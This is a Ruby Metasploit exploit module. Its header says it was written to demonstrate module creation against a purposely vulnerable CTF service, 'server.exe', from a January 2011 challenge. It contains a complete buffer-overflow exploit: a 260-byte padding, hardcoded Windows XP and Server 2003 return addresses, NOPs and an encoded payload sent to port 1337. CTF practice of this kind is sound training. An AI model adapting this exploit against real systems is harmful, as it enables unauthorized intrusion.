## # $Id: $ ## ## # This file was developed to illustrate the creation of a Metasploit # module exploiting a specially crafted Windows service. # See: # http://novactf.org/challenges/challenge-january-2011/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Server.exe Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in NoVA Hackers Janusary 2011 CTF server.exe }, 'License' => MSF_LICENSE, 'Author' => 'Mooky, Hakuza', 'Version' => '$Revision: 1 $', 'References' => [ [ 'URL', 'http://novactf.org/challenges/challenge-january-2011/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1780, # we will use 4 bytes for NOPS 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Server 2003 English', { 'Ret' => 0x77c6afee } ], [ 'Windows XP Pro SP3 English', { 'Ret' => 0x7c8369f0 } ], ], 'Privileged' => true, 'DisclosureDate' => 'Feb 19 2011', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(1337) ], self.class) end def exploit connect buffer = "A" * 260 buffer << [target.ret].pack('V') buffer << make_nops(4) buffer << payload.encode print_status("Trying target #{target.name}...") sock.put( buffer ) handler disconnect end end